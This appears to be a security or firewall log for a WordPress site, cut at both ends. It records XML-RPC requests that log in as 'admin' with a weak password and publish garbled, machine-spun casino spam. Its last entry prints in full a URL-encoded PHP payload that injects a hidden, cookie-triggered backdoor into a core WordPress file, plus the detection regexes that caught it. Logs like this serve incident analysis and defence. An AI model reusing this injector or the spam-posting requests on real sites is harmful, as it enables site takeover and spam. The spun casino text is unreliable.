blackjack.<\/p>\r\n<h2 id=\"toc-1\">Old-fashioned Gambling games<\/h2>\n<p>The fresh deposit incentive is valid for two weeks on the go out from acknowledgment. Added bonus financing used whenever zero real money is actually remaining. Limitation wager while you are betting the bonus is C$5. Max bet €5 while you are bonus energetic. The utmost wager to possess betting the advantage is actually NZ$3. The advantage is valid for 1 week.<\/p>\r\n<h2 id=\"toc-2\">Prepaid Notes<\/h2>\n<p>Although not, the best part regarding the Restaurant Local casino would be the fact it's information to your to experience other games. And, unless or even stated, casino desk game have a good 20% sum speed to your the newest wagering requirements. Unlike most other websites casinos, Bistro Gambling establishment have some other welcome bonuses to have Bitcoin and you may credit card places. Constraints vary anywhere between $step one and you can $1,100000, with respect to the dining table games your’re also to experience. Contrary to popular belief, the gambling enterprise dining table video game on the desktop computer type performs efficiently to the the new mobile web site.<\/p>\r\n<h2 id=\"toc-3\">Only play at the real time gambling enterprises which might be safe and legitimate<\/h2>\n<img src=\"https:\/\/s3-media0.fl.yelpcdn.com\/bphoto\/sfUQyvBOj01vSt-a2KpNGg\/348s.jpg\" alt=\"online casino that accept gift cards\" align=\"right\" border=\"0\">\n<p>Very do not hesitate to help you claim your own added bonus and also have the brand new maximum work with away from to play a favourite game. Even though you are not economically happy to gamble online casino games along with your money, there are some free loans. Today, you do not have to go to a genuine local casino in order to play against a live specialist. Feel free to discover a roulette online game, web based poker otherwise black-jack and attempt to earn rather than a live broker.<\/p>\r\n<h2 id=\"toc-4\">Greatest Web based casinos to have Live Broker Video game<\/h2>\n<p>So it mix creates a real gambling establishment surroundings, complete with actual people and actual tables, enhancing the total gambling experience in real cash playing. It's difficult for work to play roulette live on line. Always, real time dealer roulette online is only available the real deal dollars. But be cautious about fun live agent roulette exclusives including Super Roulette with its big-currency bonuses. Think of, when the live agent roulette isn't for your requirements, you might select from most other popular video game.<\/p>\n<p>“Alive gambling enterprises capture game play to another peak, giving participants much more immersive enjoy you to definitely standard gambling games can be’t matches. The majority of real money gambling enterprises offer a variety of bonuses, beginning with a welcome incentive for brand new participants. We chosen these roulette gambling enterprises centered on a valid gambling license away from reliable overseas regulators and you can a fantastic choice out of alive roulette tables one to focus on higher-limits players. Such as normal gambling games, live dealer game try examined by the independent bodies to ensure everything you is completely safe and reasonable. Generally, you will see that alive agent blackjack game have the same possibility since the online casino gamble as a whole, because the little inherent to the game alone changed.<\/p>]]><\/value><\/member>\t  \r\n\t\t  <member><name>post_date_gmt<\/name>\r\n            <value><dateTime.iso8601>20260512T08:46:21<\/dateTime.iso8601><\/value><\/member>\r\n\t\t  <member><name>post_name<\/name>\r\n            <value><![CDATA[finest-live-web-based-casinos-better-sites-with-genuine-traders-inside-2026]]><\/value><\/member>\r\n          \r\n        <\/struct>\r\n      <\/value>\r\n    <\/param>\r\n  <\/params>\r\n<\/methodCall>","POST \/xmlrpc.php HTTP\/1.1\ncontent-length:7313\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36\ncontent-type:text\/xml; charset=utf-8\nconnection:Close\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<methodCall>\r\n  <methodName>wp.newPost<\/methodName>\r\n  <params>\r\n    <param><value>1<\/value><\/param>\r\n    <param><value>admin<\/value><\/param>\r\n    <param><value>Admin@123<\/value><\/param>\r\n    <param>\r\n      <value>\r\n        <struct>\r\n          <member><name>post_type<\/name>\r\n            <value>post<\/value><\/member>\r\n\t\t  <member><name>post_status<\/name>\r\n            <value>publish<\/value><\/member>\r\n\t\t  <member><name>post_title<\/name>\r\n            <value><![CDATA[Finest Live Web based casinos Better Sites with Genuine Traders inside 2026]]><\/value><\/member>\r\n\t\t  <member><name>post_content<\/name>\r\n            <value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Blogs<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Enjoy Alive Specialist Online game during the PokerStars Local casino<\/a><\/li><li><a href=\"#toc-1\">Old-fashioned Gambling games<\/a><\/li><li><a href=\"#toc-2\">Prepaid Notes<\/a><\/li><li><a href=\"#toc-3\">Only play at the real time gambling enterprises which might be safe and legitimate<\/a><\/li><li><a href=\"#toc-4\">Greatest Web based casinos to have Live Broker Video game<\/a><\/li><\/ul><\/div>\n<p>All the local casino i encourage – each other on this page and you will somewhere else – try regularly checked to have fairness and randomness. <!--more--> ❌ Video game design and you can video game image look old inside the cities ✅ Novel completely-interactive we-Ports show featuring growing storylines and bonus rounds ❌ A number of the online game image and also the game auto mechanics can appear outdated ✅ Optimized to own mobile sense around the android and ios profiles You could potentially bet on many different different alternatives according to the roll from about three half dozen-sided dice, making it a game away from luck and possibly huge earnings.<\/p>\r\n<h2 id=\"toc-0\">Enjoy Alive Specialist Online game during the PokerStars Local casino<\/h2>\r\n<ul><li>BetUS is amongst the better overseas casinos with a fully-fledged sportsbook and you may alive broker local casino lobby.<\/li><li>To play gambling games that have live people will likely be fun and you will fulfilling both for the fresh and you will experienced gamblers.<\/li><li>Gaming inside Southern area Korea are greatly limited, however, many Korean participants properly availableness offshore casinos signed up overseas.<\/li><li>It indicates you can access them without the need to obtain people programs, because of HTML5 technology, which makes live streams viewable right from your internet internet browser.<\/li><li>RFID devices song and you can broadcast game occurrences to help you a central databases, making certain fair gamble and you can transparency.<\/li><\/ul>\n<p>People real time black-jack internet casino we advice will not have one rigged games, while the <a href=\"https:\/\/vogueplay.com\/in\/foxin-wins\/\">https:\/\/vogueplay.com\/in\/foxin-wins\/<\/a> casino games are audited to possess random overall performance and you may equity. An informed real time on the web black-jack websites can give a superior online betting experience. You can even enjoy Super Dice at the particular online real time gambling enterprises, while some render Adventures Past Wonderland. These alive gambling games have a high RTP (Come back to Athlete) price after you apply a correct means, just like blackjack.<\/p>\r\n<h2 id=\"toc-1\">Old-fashioned Gambling games<\/h2>\n<p>The fresh deposit incentive is valid for two weeks on the go out from acknowledgment. Added bonus financing used whenever zero real money is actually remaining. Limitation wager while you are betting the bonus is C$5. Max bet €5 while you are bonus energetic. The utmost wager to possess betting the advantage is actually NZ$3. The advantage is valid for 1 week.<\/p>\r\n<h2 id=\"toc-2\">Prepaid Notes<\/h2>\n<p>Although not, the best part regarding the Restaurant Local casino would be the fact it's information to your to experience other games. And, unless or even stated, casino desk game have a good 20% sum speed to your the newest wagering requirements. Unlike most other websites casinos, Bistro Gambling establishment have some other welcome bonuses to have Bitcoin and you may credit card places. Constraints vary anywhere between $step one and you can $1,100000, with respect to the dining table games your’re also to experience. Contrary to popular belief, the gambling enterprise dining table video game on the desktop computer type performs efficiently to the the new mobile web site.<\/p>\r\n<h2 id=\"toc-3\">Only play at the real time gambling enterprises which might be safe and legitimate<\/h2>\n<img src=\"https:\/\/s3-media0.fl.yelpcdn.com\/bphoto\/sfUQyvBOj01vSt-a2KpNGg\/348s.jpg\" alt=\"online casino that accept gift cards\" align=\"right\" border=\"0\">\n<p>Very do not hesitate to help you claim your own added bonus and also have the brand new maximum work with away from to play a favourite game. Even though you are not economically happy to gamble online casino games along with your money, there are some free loans. Today, you do not have to go to a genuine local casino in order to play against a live specialist. Feel free to discover a roulette online game, web based poker otherwise black-jack and attempt to earn rather than a live broker.<\/p>\r\n<h2 id=\"toc-4\">Greatest Web based casinos to have Live Broker Video game<\/h2>\n<p>So it mix creates a real gambling establishment surroundings, complete with actual people and actual tables, enhancing the total gambling experience in real cash playing. It's difficult for work to play roulette live on line. Always, real time dealer roulette online is only available the real deal dollars. But be cautious about fun live agent roulette exclusives including Super Roulette with its big-currency bonuses. Think of, when the live agent roulette isn't for your requirements, you might select from most other popular video game.<\/p>\n<p>“Alive gambling enterprises capture game play to another peak, giving participants much more immersive enjoy you to definitely standard gambling games can be’t matches. The majority of real money gambling enterprises offer a variety of bonuses, beginning with a welcome incentive for brand new participants. We chosen these roulette gambling enterprises centered on a valid gambling license away from reliable overseas regulators and you can a fantastic choice out of alive roulette tables one to focus on higher-limits players. Such as normal gambling games, live dealer game try examined by the independent bodies to ensure everything you is completely safe and reasonable. Generally, you will see that alive agent blackjack game have the same possibility since the online casino gamble as a whole, because the little inherent to the game alone changed.<\/p>]]><\/value><\/member>\t  \r\n\t\t  <member><name>post_date_gmt<\/name>\r\n            <value><dateTime.iso8601>20260512T08:46:21<\/dateTime.iso8601><\/value><\/member>\r\n\t\t  <member><name>post_name<\/name>\r\n            <value><![CDATA[finest-live-web-based-casinos-better-sites-with-genuine-traders-inside-2026]]><\/value><\/member>\r\n          \r\n        <\/struct>\r\n      <\/value>\r\n    <\/param>\r\n  <\/params>\r\n<\/methodCall>"]
["2026-05-12 16:46:25","128.1.227.233","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36","post","select.+(from|limit) >> <?xml version:\"1.0\"?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param><value><array><data>\r\n  <value><int>0<\/int><\/value>\r\n  <value><string>admin<\/string><\/value>\r\n  <value><string>Admin@123<\/string><\/value>\r\n  <value><struct>\r\n  <member><name>title<\/name><value><![CDATA[Finest Live Web based casinos Better Sites with Genuine Traders inside 2026]]><\/value><\/member>\r\n  <member><name>description<\/name><value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Blogs<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Enjoy Alive Specialist Online game during the PokerStars Local casino<\/a><\/li><li><a href=\"#toc-1\">Old-fashioned Gambling games<\/a><\/li><li><a href=\"#toc-2\">Prepaid Notes<\/a><\/li><li><a href=\"#toc-3\">Only play at the real time gambling enterprises which might be safe and legitimate<\/a><\/li><li><a href=\"#toc-4\">Greatest Web based casinos to have Live Broker Video game<\/a><\/li><\/ul><\/div>\n<p>All the local casino i encourage – each other on this page and you will somewhere else – try regularly checked to have fairness and randomness. <!--more--> ❌ Video game design and you can video game image look old inside the cities ✅ Novel completely-interactive we-Ports show featuring growing storylines and bonus rounds ❌ A number of the online game image and also the game auto mechanics can appear outdated ✅ Optimized to own mobile sense around the android and ios profiles You could potentially bet on many different different alternatives according to the roll from about three half dozen-sided dice, making it a game away from luck and possibly huge earnings.<\/p>\r\n<h2 id=\"toc-0\">Enjoy Alive Specialist Online game during the PokerStars Local casino<\/h2>\r\n<ul><li>BetUS is amongst the better overseas casinos with a fully-fledged sportsbook and you may alive broker local casino lobby.<\/li><li>To play gambling games that have live people will likely be fun and you will fulfilling both for the fresh and you will experienced gamblers.<\/li><li>Gaming inside Southern area Korea are greatly limited, however, many Korean participants properly availableness offshore casinos signed up overseas.<\/li><li>It indicates you can access them without the need to obtain people programs, because of HTML5 technology, which makes live streams viewable right from your internet internet browser.<\/li><li>RFID devices song and you can broadcast game occurrences to help you a central databases, making certain fair gamble and you can transparency.<\/li><\/ul>\n<p>People real time black-jack internet casino we advice will not have one rigged games, while the <a href=\"https:\/\/vogueplay.com\/in\/foxin-wins\/\">https:\/\/vogueplay.com\/in\/foxin-wins\/<\/a> casino games are audited to possess random overall performance and you may equity. An informed real time on the web black-jack websites can give a superior online betting experience. You can even enjoy Super Dice at the particular online real time gambling enterprises, while some render Adventures Past Wonderland. These alive gambling games have a high RTP (Come back to Athlete) price after you apply a correct means, just like blackjack.<\/p>\r\n<h2 id=\"toc-1\">Old-fashioned Gambling games<\/h2>\n<p>The fresh deposit incentive is valid for two weeks on the go out from acknowledgment. Added bonus financing used whenever zero real money is actually remaining. Limitation wager while you are betting the bonus is C$5. Max bet €5 while you are bonus energetic. The utmost wager to possess betting the advantage is actually NZ$3. The advantage is valid for 1 week.<\/p>\r\n<h2 id=\"toc-2\">Prepaid Notes<\/h2>\n<p>Although not, the best part regarding the Restaurant Local casino would be the fact it's information to your to experience other games. And, unless or even stated, casino desk game have a good 20% sum speed to your the newest wagering requirements. Unlike most other websites casinos, Bistro Gambling establishment have some other welcome bonuses to have Bitcoin and you may credit card places. Constraints vary anywhere between $step one and you can $1,100000, with respect to the dining table games your’re also to experience. Contrary to popular belief, the gambling enterprise dining table video game on the desktop computer type performs efficiently to the the new mobile web site.<\/p>\r\n<h2 id=\"toc-3\">Only play at the real time gambling enterprises which might be safe and legitimate<\/h2>\n<img src=\"https:\/\/s3-media0.fl.yelpcdn.com\/bphoto\/sfUQyvBOj01vSt-a2KpNGg\/348s.jpg\" alt=\"online casino that accept gift cards\" align=\"right\" border=\"0\">\n<p>Very do not hesitate to help you claim your own added bonus and also have the brand new maximum work with away from to play a favourite game. Even though you are not economically happy to gamble online casino games along with your money, there are some free loans. Today, you do not have to go to a genuine local casino in order to play against a live specialist. Feel free to discover a roulette online game, web based poker otherwise black-jack and attempt to earn rather than a live broker.<\/p>\r\n<h2 id=\"toc-4\">Greatest Web based casinos to have Live Broker Video game<\/h2>\n<p>So it mix creates a real gambling establishment surroundings, complete with actual people and actual tables, enhancing the total gambling experience in real cash playing. It's difficult for work to play roulette live on line. Always, real time dealer roulette online is only available the real deal dollars. But be cautious about fun live agent roulette exclusives including Super Roulette with its big-currency bonuses. Think of, when the live agent roulette isn't for your requirements, you might select from most other popular video game.<\/p>\n<p>“Alive gambling enterprises capture game play to another peak, giving participants much more immersive enjoy you to definitely standard gambling games can be’t matches. The majority of real money gambling enterprises offer a variety of bonuses, beginning with a welcome incentive for brand new participants. We chosen these roulette gambling enterprises centered on a valid gambling license away from reliable overseas regulators and you can a fantastic choice out of alive roulette tables one to focus on higher-limits players. Such as normal gambling games, live dealer game try examined by the independent bodies to ensure everything you is completely safe and reasonable. Generally, you will see that alive agent blackjack game have the same possibility since the online casino gamble as a whole, because the little inherent to the game alone changed.<\/p>]]><\/value><\/member>\r\n  <member><name>dateCreated<\/name><value><dateTime.iso8601>20260512T08:46:23<\/dateTime.iso8601><\/value><\/member>\r\n  <member><name>mt_allow_comments<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>mt_allow_pings<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>post_type<\/name><value><string>post<\/string><\/value><\/member>\r\n  <member><name>mt_keywords<\/name><value><string><\/string><\/value><\/member>\r\n  \r\n  <member><name>custom_fields<\/name><value><array><data>\r\n  <value><string><\/string><\/value>\r\n<\/data><\/array><\/value><\/member>\r\n<\/struct><\/value>\r\n  <value><boolean>1<\/boolean><\/value>\r\n<\/data><\/array><\/value><\/param>\r\n<\/params><\/methodCall>","POST \/xmlrpc.php HTTP\/1.1\ncontent-length:7376\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36\ncontent-type:text\/xml; charset=utf-8\nconnection:Close\n\n<?xml version=\"1.0\"?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param><value><array><data>\r\n  <value><int>0<\/int><\/value>\r\n  <value><string>admin<\/string><\/value>\r\n  <value><string>Admin@123<\/string><\/value>\r\n  <value><struct>\r\n  <member><name>title<\/name><value><![CDATA[Finest Live Web based casinos Better Sites with Genuine Traders inside 2026]]><\/value><\/member>\r\n  <member><name>description<\/name><value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Blogs<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Enjoy Alive Specialist Online game during the PokerStars Local casino<\/a><\/li><li><a href=\"#toc-1\">Old-fashioned Gambling games<\/a><\/li><li><a href=\"#toc-2\">Prepaid Notes<\/a><\/li><li><a href=\"#toc-3\">Only play at the real time gambling enterprises which might be safe and legitimate<\/a><\/li><li><a href=\"#toc-4\">Greatest Web based casinos to have Live Broker Video game<\/a><\/li><\/ul><\/div>\n<p>All the local casino i encourage – each other on this page and you will somewhere else – try regularly checked to have fairness and randomness. <!--more--> ❌ Video game design and you can video game image look old inside the cities ✅ Novel completely-interactive we-Ports show featuring growing storylines and bonus rounds ❌ A number of the online game image and also the game auto mechanics can appear outdated ✅ Optimized to own mobile sense around the android and ios profiles You could potentially bet on many different different alternatives according to the roll from about three half dozen-sided dice, making it a game away from luck and possibly huge earnings.<\/p>\r\n<h2 id=\"toc-0\">Enjoy Alive Specialist Online game during the PokerStars Local casino<\/h2>\r\n<ul><li>BetUS is amongst the better overseas casinos with a fully-fledged sportsbook and you may alive broker local casino lobby.<\/li><li>To play gambling games that have live people will likely be fun and you will fulfilling both for the fresh and you will experienced gamblers.<\/li><li>Gaming inside Southern area Korea are greatly limited, however, many Korean participants properly availableness offshore casinos signed up overseas.<\/li><li>It indicates you can access them without the need to obtain people programs, because of HTML5 technology, which makes live streams viewable right from your internet internet browser.<\/li><li>RFID devices song and you can broadcast game occurrences to help you a central databases, making certain fair gamble and you can transparency.<\/li><\/ul>\n<p>People real time black-jack internet casino we advice will not have one rigged games, while the <a href=\"https:\/\/vogueplay.com\/in\/foxin-wins\/\">https:\/\/vogueplay.com\/in\/foxin-wins\/<\/a> casino games are audited to possess random overall performance and you may equity. An informed real time on the web black-jack websites can give a superior online betting experience. You can even enjoy Super Dice at the particular online real time gambling enterprises, while some render Adventures Past Wonderland. These alive gambling games have a high RTP (Come back to Athlete) price after you apply a correct means, just like blackjack.<\/p>\r\n<h2 id=\"toc-1\">Old-fashioned Gambling games<\/h2>\n<p>The fresh deposit incentive is valid for two weeks on the go out from acknowledgment. Added bonus financing used whenever zero real money is actually remaining. Limitation wager while you are betting the bonus is C$5. Max bet €5 while you are bonus energetic. The utmost wager to possess betting the advantage is actually NZ$3. The advantage is valid for 1 week.<\/p>\r\n<h2 id=\"toc-2\">Prepaid Notes<\/h2>\n<p>Although not, the best part regarding the Restaurant Local casino would be the fact it's information to your to experience other games. And, unless or even stated, casino desk game have a good 20% sum speed to your the newest wagering requirements. Unlike most other websites casinos, Bistro Gambling establishment have some other welcome bonuses to have Bitcoin and you may credit card places. Constraints vary anywhere between $step one and you can $1,100000, with respect to the dining table games your’re also to experience. Contrary to popular belief, the gambling enterprise dining table video game on the desktop computer type performs efficiently to the the new mobile web site.<\/p>\r\n<h2 id=\"toc-3\">Only play at the real time gambling enterprises which might be safe and legitimate<\/h2>\n<img src=\"https:\/\/s3-media0.fl.yelpcdn.com\/bphoto\/sfUQyvBOj01vSt-a2KpNGg\/348s.jpg\" alt=\"online casino that accept gift cards\" align=\"right\" border=\"0\">\n<p>Very do not hesitate to help you claim your own added bonus and also have the brand new maximum work with away from to play a favourite game. Even though you are not economically happy to gamble online casino games along with your money, there are some free loans. Today, you do not have to go to a genuine local casino in order to play against a live specialist. Feel free to discover a roulette online game, web based poker otherwise black-jack and attempt to earn rather than a live broker.<\/p>\r\n<h2 id=\"toc-4\">Greatest Web based casinos to have Live Broker Video game<\/h2>\n<p>So it mix creates a real gambling establishment surroundings, complete with actual people and actual tables, enhancing the total gambling experience in real cash playing. It's difficult for work to play roulette live on line. Always, real time dealer roulette online is only available the real deal dollars. But be cautious about fun live agent roulette exclusives including Super Roulette with its big-currency bonuses. Think of, when the live agent roulette isn't for your requirements, you might select from most other popular video game.<\/p>\n<p>“Alive gambling enterprises capture game play to another peak, giving participants much more immersive enjoy you to definitely standard gambling games can be’t matches. The majority of real money gambling enterprises offer a variety of bonuses, beginning with a welcome incentive for brand new participants. We chosen these roulette gambling enterprises centered on a valid gambling license away from reliable overseas regulators and you can a fantastic choice out of alive roulette tables one to focus on higher-limits players. Such as normal gambling games, live dealer game try examined by the independent bodies to ensure everything you is completely safe and reasonable. Generally, you will see that alive agent blackjack game have the same possibility since the online casino gamble as a whole, because the little inherent to the game alone changed.<\/p>]]><\/value><\/member>\r\n  <member><name>dateCreated<\/name><value><dateTime.iso8601>20260512T08:46:23<\/dateTime.iso8601><\/value><\/member>\r\n  <member><name>mt_allow_comments<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>mt_allow_pings<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>post_type<\/name><value><string>post<\/string><\/value><\/member>\r\n  <member><name>mt_keywords<\/name><value><string><\/string><\/value><\/member>\r\n  \r\n  <member><name>custom_fields<\/name><value><array><data>\r\n  <value><string><\/string><\/value>\r\n<\/data><\/array><\/value><\/member>\r\n<\/struct><\/value>\r\n  <value><boolean>1<\/boolean><\/value>\r\n<\/data><\/array><\/value><\/param>\r\n<\/params><\/methodCall>"]
["2026-05-12 16:48:03","171.244.34.150","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bv:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-recent-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B48-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B35%252B-34%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B99%252B-96%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B60-56%255D%2529%2529%2520%257B%2520%2524item%2520%253D%2520%2524_COOKIE%253B%2520function%2520request_approved%2528%2524ent%2529%2520%257B%2520%2524item%2520%253D%2520%2524_COOKIE%253B%2520%2524ref%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f67c812d%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ref%2529%2529%2520%257B%2520%2524ref%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524data%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524item%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ref%2529%2529%2520%257B%2520%2524dat%2520%253D%2520fopen%2528%2524ref%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524dat%252C%2520%2524data%2529%253B%2520fclose%2528%2524dat%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ref%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ref%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522request_approved%2522%2529%253B%2520%2524flg%2520%253D%2520%25227324f01aa5ad2c4539e3067584d51b36%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524item%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522publish_content_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4307\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLaLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept-encoding:gzip,deflate\n\nbv=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-recent-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B48-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B35%252B-34%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B99%252B-96%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B60-56%255D%2529%2529%2520%257B%2520%2524item%2520%253D%2520%2524_COOKIE%253B%2520function%2520request_approved%2528%2524ent%2529%2520%257B%2520%2524item%2520%253D%2520%2524_COOKIE%253B%2520%2524ref%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f67c812d%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ref%2529%2529%2520%257B%2520%2524ref%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524data%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524item%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ref%2529%2529%2520%257B%2520%2524dat%2520%253D%2520fopen%2528%2524ref%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524dat%252C%2520%2524data%2529%253B%2520fclose%2528%2524dat%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ref%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ref%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522request_approved%2522%2529%253B%2520%2524flg%2520%253D%2520%25227324f01aa5ad2c4539e3067584d51b36%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524item%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522publish_content_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct